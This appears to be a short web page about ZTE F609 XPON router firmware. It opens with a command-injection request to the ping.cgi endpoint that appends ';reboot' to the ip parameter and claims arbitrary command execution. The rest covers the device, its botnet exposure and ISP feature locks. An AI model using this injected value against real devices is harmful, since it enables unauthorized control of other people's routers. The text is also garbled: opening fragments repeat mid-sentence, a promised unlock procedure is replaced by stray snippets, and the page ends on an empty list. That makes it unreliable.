Firmware Zte F609 Xpon -

The web interface does not sanitize the ip parameter in the ping.cgi endpoint:

GET /cgi-bin/ping.cgi?ip=8.8.8.8;reboot HTTP/1.1

The firmware executes:

ping -c 4 8.8.8.8;reboot

Resulting in a device reboot or arbitrary command execution. Firmware Zte F609 Xpon

The ZTE F609 is an XPON (compatible with both GPON and EPON standards) Optical Network Terminal (ONT). It functions as a combination of a modem, router, and Wi-Fi access point. From a security perspective, the firmware operates on a stripped-down Linux kernel (typically 2.6.x) with a BusyBox userland. Its long life cycle and infrequent updates have made it a target for botnets (e.g., Mirai variants) and unauthorized configuration modification. The web interface does not sanitize the ip

ISPs often lock certain features (e.g., bridge mode, custom DNS, Telnet). To unlock: The firmware executes: ping -c 4 8

Official firmware comes directly from ZTE or your ISP. ISPs often customize the firmware with their own logos, TR-069 remote management servers, and connection strings.

Depending on the exact firmware version (e.g., V6.0, V7.0, V9.0), the following features are typically available: